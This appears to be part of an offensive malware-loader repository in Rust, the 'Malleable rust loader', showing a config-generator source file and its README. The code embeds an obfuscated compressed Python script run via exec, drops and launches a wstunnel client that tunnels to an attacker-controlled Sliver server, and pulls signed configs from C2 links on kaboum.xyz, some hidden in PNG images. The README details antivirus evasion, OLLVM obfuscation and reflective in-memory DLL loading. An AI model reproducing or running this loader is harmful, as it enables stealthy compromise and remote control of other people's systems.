| "https://www.python.org/ftp/python/3.10.10/python-3.10.10-embed-amd64.zip", 180 | ), 181 | dataoperation: vec![], 182 | jitt: 0, 183 | sleep: 0, 184 | }), 185 | path: "${APPDATA}\\Microsoft\\python\\python-3.10.10-embed-amd64\\".to_string(), 186 | }), 187 | Payload::ExecPython(ExecPython { 188 | path: "${APPDATA}\\Microsoft\\python\\python-3.10.10-embed-amd64\\".to_string(), 189 | python_code:String::from(" 190 | import base64 191 | import zlib 192 | encoded_script='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' 193 | decoded_script = zlib.decompress(base64.b64decode(encoded_script.encode())).decode() 194 | exec(decoded_script) 195 | \0"), 196 | thread: false, 197 | }), 198 | ]; 199 | } else if payload == "file".to_string() { 200 | info!("[+] Loader type choice: DllFromMemory [AES] from file"); 201 | let payload_dataoperation: Vec = 202 | serde_json::from_slice(&fs::read(&payload_dataope).unwrap()).unwrap(); 203 | payload_choice = vec![Payload::DllFromMemory(DllFromMemory { 204 | link: Link::FILE(FileLink { 205 | file_path: String::from("C:\\dll\\malldll.dll.aes"), 206 | dataoperation: payload_dataoperation, 207 | jitt: 0, 208 | sleep: 0, 209 | }), 210 | dll_entrypoint: String::from("DllInstall"), 211 | thread: true, 212 | })]; 213 | } else if payload == "memdll".to_string() { 214 | info!("[+] Loader type choice: DllFromMemory [AES] from memory slot"); 215 | let payload_dataoperation: Vec = 216 | serde_json::from_slice(&fs::read(&payload_dataope).unwrap()).unwrap(); 217 | payload_choice = vec![Payload::DllFromMemory(DllFromMemory { 218 | link: Link::MEMORY(MemoryLink { 219 | memory_nb: 2, 220 | dataoperation: payload_dataoperation, 221 | jitt: 0, 222 | sleep: 0, 223 | }), 224 | dll_entrypoint: String::from("DllInstall"), 225 | thread: false, 226 | })]; 227 | } else if payload == "wstunnel".to_string() { 228 | // cp ~/wstunnel/target/x86_64-pc-windows-gnu/release/wstunnel.exe ~/.malleable/payload/ 229 | // cargo run --bin encrypt_payload ~/.malleable/payload/wstunnel.exe 230 | // cargo run --bin conf wstunnel --payload-dataop ~/.malleable/payload/wstunnel.exe.dataop 231 | // cp ~/.malleable/payload/wstunnel.exe.aes ../config/mem1 232 | // winrust loader --mem1 --mem2 --debug 233 | // root@sliver:~# ./wstunnel server --tls-certificate /etc/letsencrypt/live/sliverperso.kaboum.xyz/fullchain.pem --tls-private-key /etc/letsencrypt/live/sliverperso.kaboum.xyz/privkey.pem wss://[::]:8080 234 | 235 | info!("[+] Loader type choice: WriteFile Wstunnel from memory [AES]"); 236 | let payload_dataoperation: Vec = 237 | serde_json::from_slice(&fs::read(&payload_dataope).unwrap()).unwrap(); 238 | payload_choice = vec![ 239 | Payload::WriteFile(WriteFile { 240 | link: Link::MEMORY(MemoryLink { 241 | memory_nb: 1, 242 | dataoperation: payload_dataoperation, 243 | jitt: 0, 244 | sleep: 0, 245 | }), 246 | path: String::from("${APPDATA}\\Microsoft\\wstunn3\\wstunnel.exe"), 247 | hash:"7fba14e73eab7f6595bc35e99c3fb0d5a04006bc20eee7a3389198bbd896cff42d006c3ecb952a78945da72f7d1d8942bd5314b00abe24fb38c3a9e03862b025".to_string(), 248 | }), 249 | Payload::Exec(Exec { 250 | path: String::from("${APPDATA}\\Microsoft\\wstunn3\\wstunnel.exe"), 251 | cmdline:String::from("client -L tcp://127.0.0.1:1080:127.0.0.1:10 --connection-min-idle 5 wss://sliverperso.kaboum.xyz:8080"), 252 | thread:true 253 | }), 254 | 255 | Payload::DllFromMemory(DllFromMemory { 256 | link: Link::MEMORY(MemoryLink { 257 | memory_nb: 2, 258 | dataoperation: vec![], 259 | jitt: 0, 260 | sleep: 0, 261 | }), 262 | dll_entrypoint: String::from("DllInstall"), 263 | thread: true, 264 | }) 265 | 266 | ]; 267 | } else { 268 | error!( 269 | r#"You must choose a payload, from: 270 | - banner 271 | - empty 272 | - writexeclin 273 | - dll 274 | - dll2 275 | - 2dll 276 | - py 277 | - file 278 | - memdll 279 | - wstunnel"# 280 | ); 281 | panic!() 282 | } 283 | 284 | //let pool_links: BTreeMap = BTreeMap::new(); 285 | let pool_links: BTreeMap; 286 | if pool == "server".to_string() { 287 | info!("[+] PoolLinks: server"); 288 | pool_links = BTreeMap::from([( 289 | 1, 290 | ( 291 | "postC2".to_string(), 292 | PoolLinks { 293 | pool_mode: PoolMode::ADVANCED(Advanced { 294 | random: 0, // fetch only x random link from pool and ignore the other, (0 not set) 295 | max_link_broken: 0, // how many accepted link broken before switch to next pool if no conf found, (0 not set) 296 | parallel: true, // try to fetch every link in the same time, if not its one by one 297 | linear: true, // fetch link in the order or randomized 298 | stop_same: false, // stop if found the same conf -> not for parallel 299 | stop_new: false, // stop if found a new conf -> not for parallel 300 | accept_old: false, // accept conf older than the active one -> true not recommended, need to fight against hypothetic valid config replay. 301 | }), 302 | pool_links: vec![ 303 | /* 304 | Link::HTTPPostC2(HTTPPostC2Link { 305 | url: String::from("https://kaboum.xyz/admin/login.php"), 306 | dataoperation: vec![DataOperation::WEBPAGE,DataOperation::BASE64], 307 | dataoperation_post: vec![DataOperation::BASE64,DataOperation::BASE64], 308 | jitt: 0, 309 | sleep: 0, 310 | }),*/ 311 | Link::HTTPPostC2(HTTPPostC2Link { 312 | url: String::from("http://127.0.0.1:3000/login.php"), 313 | //dataoperation: vec![DataOperation::BASE64], 314 | dataoperation: vec![ 315 | DataOperation::BASE64, 316 | DataOperation::ZLIB, 317 | DataOperation::BASE64, 318 | DataOperation::ROT13, 319 | DataOperation::BASE64, 320 | ], 321 | dataoperation_post: vec![ 322 | DataOperation::BASE64, 323 | DataOperation::ZLIB, 324 | DataOperation::BASE64, 325 | ], 326 | jitt: 0, 327 | sleep: 0, 328 | }), 329 | ], 330 | }, 331 | ), 332 | )]); 333 | } else { 334 | info!("[+] PoolLinks: kaboum"); 335 | 336 | pool_links = BTreeMap::from([ 337 | ( 338 | 1, 339 | ( 340 | "kaboum.xyz".to_string(), 341 | PoolLinks { 342 | pool_mode: PoolMode::ADVANCED(Advanced { 343 | random: 0, // fetch only x random link from pool and ignore the other, (0 not set) 344 | max_link_broken: 0, // how many accepted link broken before switch to next pool if no conf found, (0 not set) 345 | parallel: true, // try to fetch every link in the same time, if not its one by one 346 | linear: true, // fetch link in the order or randomized 347 | stop_same: false, // stop if found the same conf -> not for parallel 348 | stop_new: false, // stop if found a new conf -> not for parallel 349 | accept_old: false, // accept conf older than the active one -> true not recommended, need to fight against hypothetic valid config replay. 350 | }), 351 | pool_links: vec![ 352 | Link::HTTP(HTTPLink { 353 | url: String::from("https://kaboum.xyz/artdonjon/gobelin.html"), 354 | dataoperation: vec![ 355 | DataOperation::WEBPAGE, 356 | DataOperation::ROT13, 357 | DataOperation::BASE64, 358 | DataOperation::ZLIB, 359 | ], 360 | jitt: 0, 361 | sleep: 0, 362 | }), 363 | Link::HTTP(HTTPLink { 364 | url: String::from("https://kaboum.xyz/artdonjon/empty.png"), 365 | dataoperation: vec![DataOperation::STEGANO], 366 | jitt: 0, 367 | sleep: 0, 368 | }), 369 | Link::HTTP(HTTPLink { 370 | url: String::from("https://kaboum.xyz/artdonjon/troll.png"), 371 | dataoperation: vec![DataOperation::STEGANO], 372 | jitt: 0, 373 | sleep: 0, 374 | }), 375 | Link::HTTPPostC2(HTTPPostC2Link { 376 | url: String::from("https://kaboum.xyz/admin/login.php"), 377 | dataoperation: vec![DataOperation::BASE64, DataOperation::BASE64], 378 | dataoperation_post: vec![ 379 | DataOperation::BASE64, 380 | DataOperation::ZLIB, 381 | DataOperation::BASE64, 382 | ], 383 | jitt: 0, 384 | sleep: 0, 385 | }), 386 | ], 387 | }, 388 | ), 389 | ), 390 | ( 391 | 2, 392 | ( 393 | "backup 1".to_string(), 394 | PoolLinks { 395 | pool_mode: PoolMode::SIMPLE, 396 | pool_links: vec![Link::HTTP(HTTPLink { 397 | url: String::from("https://kaboum.xyz/artdonjon/backup1.html"), 398 | dataoperation: vec![ 399 | DataOperation::WEBPAGE, 400 | DataOperation::BASE64, 401 | DataOperation::BASE64, 402 | DataOperation::ZLIB, 403 | ], 404 | jitt: 0, 405 | sleep: 0, 406 | })], 407 | }, 408 | ), 409 | ), 410 | ( 411 | 3, 412 | ( 413 | "backup 2".to_string(), 414 | PoolLinks { 415 | pool_mode: PoolMode::SIMPLE, 416 | pool_links: vec![Link::HTTP(HTTPLink { 417 | url: String::from("https://kaboum.xyz/artdonjon/backup2.html"), 418 | dataoperation: vec![ 419 | DataOperation::WEBPAGE, 420 | DataOperation::BASE64, 421 | DataOperation::BASE64, 422 | DataOperation::ZLIB, 423 | ], 424 | jitt: 0, 425 | sleep: 0, 426 | })], 427 | }, 428 | ), 429 | ), 430 | ]); 431 | }; 432 | // 433 | 434 | // payload is define, now, CREATE the 435 | info!("[+] LOAD ed25519 keypair from {:?}", keypair); 436 | let key_pair_ed25519: Ed25519KeyPair = fromfile_master_keypair(&keypair); 437 | 438 | let config = Config::new_signed( 439 | &key_pair_ed25519, 440 | pool_links, 441 | payload_choice, 442 | vec![ /* Defuse::CheckInternet(CheckInternet { 443 | list: vec![ 444 | "https://www.microsoft.com".to_string(), 445 | "https://google.com".to_string(), 446 | "https://login.microsoftonline.com".to_string(), 447 | ], 448 | operator: Operator::AND, 449 | }) */ 450 | ], 451 | vec![ 452 | Defuse::Hostname(Hostname { 453 | list: vec![ 454 | "DEBUG-W10".to_string(), 455 | "DRACONYS".to_string(), 456 | "Nidhogg".to_string(), 457 | "DESKTOP-SU97K9D".to_string(), 458 | ], 459 | operator: Operator::OR, 460 | }), 461 | Defuse::DomainJoin(DomainJoin { 462 | list: vec!["sevenkingdoms.local".to_string(), "essos.local".to_string()], 463 | operator: Operator::AND, 464 | }), 465 | ], 466 | 3, 467 | 0, 468 | link_timeout, 469 | link_user_agent, 470 | fs::read(loader_keypair).unwrap(), 471 | ); 472 | //info!("{:?}", loaderconf); 473 | info!("[+] SIGN loader"); 474 | 475 | info!("[+] Serialized loader configuration: {json_file}"); 476 | config.serialize_to_file_pretty(&json_file); 477 | 478 | initialize_all_configs(config, json_file); 479 | } 480 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Malleable rust loader 2 | 3 | ![Malleable rust loader](banner.png?raw=true "Malleable rust loader") 4 | 5 | ``` 6 | malléable : adjectif 7 | 1. 8 | Qui a la propriété de s'aplatir et de s'étendre en lames, en feuilles. 9 | L'or est le plus malléable des métaux. 10 | ``` 11 | ## Table of Contents 12 | 13 | - [Introduction](#introduction) 14 | - [Features](#features) 15 | - [Config](#config) 16 | - [Payloads](#payloads) 17 | - [Compilation](#Compilation) 18 | - [Link](#Link) 19 | - [DataOperation](#DataOperation) 20 | - [Design](#design) 21 | - [Exec steps explanation](#exec-steps-explanation) 22 | - [Execution workflow](#Execution-workflow) 23 | - [Config example](#Config-example) 24 | - [How to use it](#How-to-use-it) 25 | - [1. Installation](#1-Installation) 26 | - [First steps](#First-steps) 27 | - [.bashrc addition](#bashrc-addition) 28 | - [debug logs](#debug-logs) 29 | - [OLLVM compilation (optionnal)](#OLLVM-compilation-optionnal) 30 | - [2. Encrypt payload (optionnal)](#2-encrypt-payload-optionnal) 31 | - [3. Create config file](#3-Create-config-file) 32 | - [3.1 Banner config](#31-Banner-config) 33 | - [3.2 Encrypted dll config](#32-Encrypted-dll-config) 34 | - [3.3 Stegano to hide config](#33-Stegano-to-hide-config) 35 | - [3.4 PoolLink explanation](#34-PoolLink-explanation) 36 | - [4. Compile loader](#4-Compile-loader) 37 | - [4.1 linux compilation](#41-linux-compilation) 38 | - [4.2 windows debug compilation with logs](#42-windows-debug-compilation-with-logs) 39 | - [4.3 windows release compilation](#43-windows-release-compilation) 40 | - [4.4 windows OLLVM release compilation](#44-windows-OLLVM-release-compilation) 41 | - [4.5 windows compilation with payload in memory](#45-windows-compilation-with-payload-in-memory) 42 | - [4.6 windows compilation into a DLL](#46-windows-compilation-into-a-DLL) 43 | - [5. Deploy config and payload](#5-Deploy-config-and-payload) 44 | - [Side scripts](#Side-scripts) 45 | - [Winrust](#Winrust) 46 | - [reduced size and PACK with UPX](#reduced-size-and-PACK-with-UPX) 47 | - [Roadmap](#Roadmap) 48 | - [Credits and Thanks](#Credits-and-Thanks) 49 | - [Licence](#Licence) 50 | 51 | --- 52 | 53 | ## Introduction 54 | 55 | The objectiv of the Malleable rust loader is to load various payload (DLL from memory, Exe, etc...) in a way to evade static analysis of Antivirus. It can fetch data from various methods and perform multiple data operation to deobfuscate or decrypt payloads and new configuration. 56 | 57 | Loader behavior is define by a config file and is higly customisable. At first the loader include initial config file and just before doing anything, there is mecanisms to update the config by a new one. 58 | 59 | Every config file are also sign with elliptics curbs to trust them, this allow to store them in a non fully trust place and allow to disseminate backup way to keep control of your running loader. 60 | 61 | Various way to retreive data for exec payload and reload configs are regrouped in the Link object, this allow to retreive data with network protocol HTTP, DNS(todo), WebSocket(todo), from file in the system or heaven from the loader Memory by including stuff at compile time. 62 | 63 | In addition, there is mechanism to modify to collected data retreive from a Link, its come from a list of define DataOperation to retreive the original data. (encrypted DLL, BASE64+ROT13 config file) 64 | 65 | Moreover, some defuse action could be define before reloading config or executing payload (internet connectivity, specific domain join, or expected hostname). 66 | 67 | Some payload could run in a thread, this let the loader executing stuff and possibly reload the configuration during execution. 68 | 69 | LLVM Obfuscator (OLLVM) compilation options + string encryption are also include to avoid static analysis. 70 | 71 | 72 | # Features 73 | 74 | ### Config 75 | 76 | - [x] Include an encrypted first config generated from a json file 77 | - [x] Reload new config at runtime with Link 78 | - [x] Verify config with Ed25519 elliptic-curv 79 | 80 | ### Payloads 81 | 82 | - [x] **Banner** : Display the awesome project banner 83 | - [x] **WriteFile** : Write a file to the disk, the file could be fetch from a link (download http, memory, etc..) 84 | - [x] **WriteZip** : Unzip a .zip file into the disk 85 | - [x] **Exec** : Allow to exec a file in the filesystem with a specific commandline. 86 | - [x] **ExecPython** : Allow to exec python code, in conjonction with the Pyramid project of Naksyn, this allow to run exe from memory with a commandline. 87 | - [x] **DllFromMemory** : The Star feature, allow you to run a DLL from Memory with module memorymodule-rs wish is apure rust adaptation of fancycode/MemoryModule (https://github.com/fancycode/MemoryModule) 88 | 89 | ### Compilation 90 | 91 | - [X] cross compilation from linux 92 | - [X] Windows oriented loader but support also Linux. 93 | - [X] OLLVM obfuscation 94 | - [X] Winrust side script to easily cross compil and test against a Windows. 95 | - [X] compile the loader into an EXE or a DLL 96 | 97 | 98 | ### Link 99 | 100 | Fetch data with various methods, du to loader config structure, its easy to add a new Link type. 101 | 102 | - [x] **HTTP** : classic http GET download of data -> to retreive 103 | - [X] **HTTPPostC2** : post reconnaissance data to a C2 (only to retreive a new config), the data send by the loader are signed with elliptic curv -> this link depend on a dedicated malleable-server (its working but not released for the moment) 104 | - [x] **FILE** : retreive data from a file present in the filesystem (an encrypted dll for example) 105 | - [x] **MEMORY** : retreive data from internal memory of the loader, this permit to create a packer with dll inside, or to drop specific file into the disk. 106 | - [ ] **Websocket** (todo!(), ez) 107 | - [ ] **DNS** (todo!(), hard), the plan is to use the DNSCAT protocol, but i fail to modify an existing rust project 108 | ### DataOperation 109 | 110 | The way to modify fetch data from link 111 | 112 | - [x] **BASE64** 113 | - [x] **ROT13** 114 | - [x] **WEBPAGE** -> surrounded data with delimiters, hide data into an HTML response. (steam profile, fake website, forum or whatever) 115 | - [x] **AES** -> encrypt data with AEAD (it's AES-GCM-SIV, cf: https://docs.rs/aes-gcm-siv/latest/aes_gcm_siv/index.html 116 | - [x] **STEGANO** -> hide data in png (jpg seems not to work) 117 | - [x] **REVERSE** -> todo!() 118 | - [x] **ZLIB** -> to compress big payload (like sliver) 119 | 120 | # Design 121 | 122 | ## Exec steps explanation 123 | 124 | The loader when running: 125 | 1. Decrypt and verify the initial config file from memory 126 | 2. Verify if defuse conditions to reload config are met or stop exec 127 | 3. Reload its configuration by downloading a new one from first Link (various protocol) 128 | 4. De-obfuscate collected configuration data 129 | 5. Verify the new configuration with elliptic-curv Ed25519 130 | 6. Eventually replace the Loader configuration if it found a new valid one, or try to fetch an other valid config Link 131 | 7. Verify if exec defuse conditions are met before next steps 132 | 8. Run the defined payloads ! 133 | 134 | If payload run in Thread, do an other loop. This permit to reload config during execution of multiple payload Thread ! This give an opportunity to keep the control on the loader and run more payloads ! 135 | 136 | ## Execution workflow 137 | 138 | TODO: IMAGE 139 | 140 | ## Config example 141 | 142 | Here, this is the first lines of the config file. The first update configuration link is stored in a HTML page : **gobelin.html** and the second one in **troll.html**. 143 | Then the payload to run is a **DllFromMemory**, (here Sliver C2). As you see, the DLL is downloaded with HTTPS and then decrypted+verified with dataoperation:AES. 144 | 145 | ``` 146 | { 147 | "update_links": { 148 | "1": [ 149 | "kaboum.xyz first links", 150 | { 151 | "pool_mode": { 152 | "SIMPLE" 153 | }, 154 | "pool_links": [ 155 | { 156 | "HTTP": { 157 | "url": "https://kaboum.xyz/artdonjon/gobelin.html", 158 | "dataoperation": [ 159 | "WEBPAGE", 160 | "BASE64" 161 | ], 162 | "sleep": 0, 163 | "jitt": 0 164 | } 165 | }, 166 | { 167 | "HTTP": { 168 | "url": "https://kaboum.xyz/artdonjon/troll.png", 169 | "dataoperation": [ 170 | "STEGANO" 171 | ], 172 | "sleep": 0, 173 | "jitt": 0 174 | } 175 | }, 176 | 177 | [..] 178 | 179 | "payloads": [ 180 | { 181 | "DllFromMemory": { 182 | "link": { 183 | "HTTP": { 184 | "url": "https://kaboum.xyz/artdonjon/donjon_dll.jpg", 185 | "dataoperation": [ 186 | { 187 | "AES": { 188 | "key_bytes": [ 189 | 13, 190 | 48, 191 | 30, 192 | 236, 193 | 11, 194 | 235, 195 | 196 | [...] 197 | ``` 198 | 199 | This is the last part of the config, 200 | Here, before reloading any configuration, the loader try to fetch Internet (microsoft.com or microsoftonline.com). After that, he verify both hostname or domain join name before running any payload (OR operator) 201 | 202 | At the end, you can see the elliptic-curv Ed25519 material. This config and every update config should be signed with a private key. 203 | 204 | ``` 205 | "defuse_update": [ 206 | { 207 | "CheckInternet": { 208 | "list": [ 209 | "https://www.microsoft.com", 210 | "https://login.microsoftonline.com" 211 | ], 212 | "operator": "AND" 213 | } 214 | } 215 | ], 216 | "defuse_payload": [ 217 | { 218 | "Hostname": { 219 | "list": [ 220 | "DEBUG-PC", 221 | ], 222 | "operator": "OR" 223 | } 224 | }, 225 | { 226 | "DomainJoin": { 227 | "list": [ 228 | "sevenkingdoms.local", 229 | "essos.local" 230 | ], 231 | "operator": "AND" 232 | } 233 | } 234 | ], 235 | "sign_material": { 236 | "peer_public_key_bytes": [ 237 | 119, 238 | 106, 239 | 243, 240 | 236, 241 | 26 242 | [...] 243 | ], 244 | "sign_bytes": [ 245 | 166, 246 | 179, 247 | 27, 248 | 207, 249 | [...] 250 | ``` 251 | 252 | 253 | 254 | # How to use it 255 | 256 | ## 1. Installation 257 | 258 | ### First steps 259 | 260 | Here you will : 261 | - Generate a private Ed25519 key pair, this is you sign material 262 | - install ~/.malleable/ working directory 263 | - install windows rust tools chain 264 | 265 | Run this: 266 | 267 | ``` 268 | apt install pkg-config openssl-devel gcc-mingw-w64-x86-64 mingw-w64 cmake 269 | rustup target add x86_64-pc-windows-gnu 270 | cargo run --bin initmasterkey 271 | # this key should be only used for one loader: 272 | cargo run --bin initloadermasterkey 273 | ``` 274 | 275 | ### .bashrc addition 276 | 277 | This line should be added to you bashrc for compilation output and string encryption : 278 | ``` 279 | export RUST_LOG=info 280 | min=200 281 | max=300 282 | lit=$(python -c "import random; print(random.randint($min,$max))") 283 | export LITCRYPT_ENCRYPT_KEY=$(tr -dc A-Za-z0-9 not for parallel 374 | stop_new: false, // stop if found a new conf -> not for parallel 375 | accept_old: false, // accept conf older than the active one -> true not recommended, need to fight against hypothetic valid config replay. 376 | }; 377 | ``` 378 | Here, all config link of the pool will be fetch one by one in the same order and only the newest one will be choose to replace the actual config. 379 | 380 | - If not VALID config are found and at least one config identical to the actual config are found, the actual config is conserved and the payload are run. 381 | - if NO valid config are found in a Pool, the loader go to check the next Pool and so on. 382 | 383 | 384 | 385 | ## 4. Compile loader 386 | 387 | Here you will compile the loader with the initial config file. 388 | 389 | - This config initial config `~/.malleable/config/initial.json` when you sign it. 390 | - encrypted+obfsuscated initial config is store in `~/.malleable/config/initial.json.aes` when you sign it/ 391 | - And this file contains decrypt key + all dataoperation to decrypt the initial config : `~/.malleable/config/initial.json.aes.dataop.rot13b64` 392 | 393 | ### 4.1 linux compilation 394 | 395 | ``` 396 | cargo run --bin loader 397 | ``` 398 | 399 | ### 4.2 windows debug compilation with logs level INFO 400 | 401 | The features 'loader' is important, the 'loader' code will not be added. 402 | 403 | ``` 404 | cargo run --target x86_64-pc-windows-gnu --bin loader --features loader --features info 405 | ``` 406 | 407 | or with **winrust.py** (recommended) 408 | 409 | ``` 410 | winrust loader --debug 411 | ``` 412 | 413 | ### 4.3 windows release compilation 414 | 415 | ``` 416 | cargo build --target x86_64-pc-windows-gnu --bin loader --release 417 | ``` 418 | 419 | or with **winrust.py** (recommended) 420 | 421 | ``` 422 | winrust loader --release 423 | ``` 424 | 425 | 426 | ### 4.4 windows OLLVM release compilation 427 | 428 | 429 | The OLLVM compilation should be reserved for release build. 430 | 431 | This oneliner use approximately 4go of RAM (to confirm): 432 | 433 | ``` 434 | sudo docker run -v $(pwd):/projects/ -e LITCRYPT_ENCRYPT_KEY="$LITCRYPT_ENCRYPT_KEY" -it ghcr.io/joaovarelas/obfuscator-llvm-16.0 cargo rustc --bin loader --features ollvm --target x86_64-pc-windows-gnu --release -- -Cdebuginfo=0 -Cstrip=symbols -Cpanic=abort -Copt-level=3 -Cllvm-args='-enable-acdobf -enable-antihook -enable-adb -enable-bcfobf -enable-cffobf -enable-splitobf -enable-subobf -enable-fco -enable-strcry -enable-constenc' 435 | ``` 436 | 437 | Depending of the compilation options you choose, you should monitor your RAM consumption because this increase too much and stop/freeze your computer when reaching the maximum you have. 438 | Because of that, some compilation flag are not includ by default in winrust 439 | 440 | You can also do that with winrust: 441 | 442 | ``` 443 | winrust loader --ollvm 444 | ``` 445 | 446 | the exe generated will be in the `ollvm/` directory, this is to avoid conflict with normal compilation and ollvm stuff. You will also see a new file Cargo.lock.ollvm, this is a dedicated backup lock file form OLLVM. 447 | 448 | ### 4.5 windows compilation with payload in memory 449 | 450 | This part show you how to include memory into the loader at compile time. 451 | You can add max to 4 memory at compile time in the loader memory (you you want more, you should edit link.rs). The memory should be stored in file in this directory: 452 | ``` 453 | ~/.malleable/config/mem1 454 | ~/.malleable/config/mem2 455 | etc... 456 | ``` 457 | 458 | You can create a demo config with : 459 | 460 | ``` 461 | cargo run --bin conf memdll 462 | ``` 463 | 464 | As you see, the memory number choosen is precise by memory_nb parameter : 465 | 466 | ``` 467 | "payloads": [ 468 | { 469 | "DllFromMemory": { 470 | "link": { 471 | "MEMORY": { 472 | "memory_nb": 1, 473 | "dataoperation": [ 474 | { 475 | "AES": { 476 | ``` 477 | 478 | Then, you should compile the code with the `--features mem1` compilation option 479 | 480 | ``` 481 | cargo build --target x86_64-pc-windows-gnu --bin "loader" --features mem1 482 | ``` 483 | 484 | Or with winrust, you should use the `--mem1` option: 485 | 486 | ``` 487 | winrust loader --debug --mem1 488 | ``` 489 | 490 | ### 4.6 windows compilation into a DLL 491 | 492 | If you want to create a DLL instead of an exe, you should have both features `loader` + `dll`. (In this exemple you have also the loglevel info) 493 | 494 | ``` 495 | cargo build --release --target x86_64-pc-windows-gnu --features info --features loader --features dll --lib 496 | ``` 497 | 498 | You can choose the name of you entrypoint directly in this file: 499 | ``` 500 | src/loader/dll.rs 501 | ``` 502 | 503 | If you want to debug the dll, you can use the overlord.c wish is a small script helping you to load the dll named `malleable_rust_loader.dll` and exec the entrypoint `Overlord`. Compile with : 504 | 505 | ``` 506 | x86_64-w64-mingw32-gcc -o 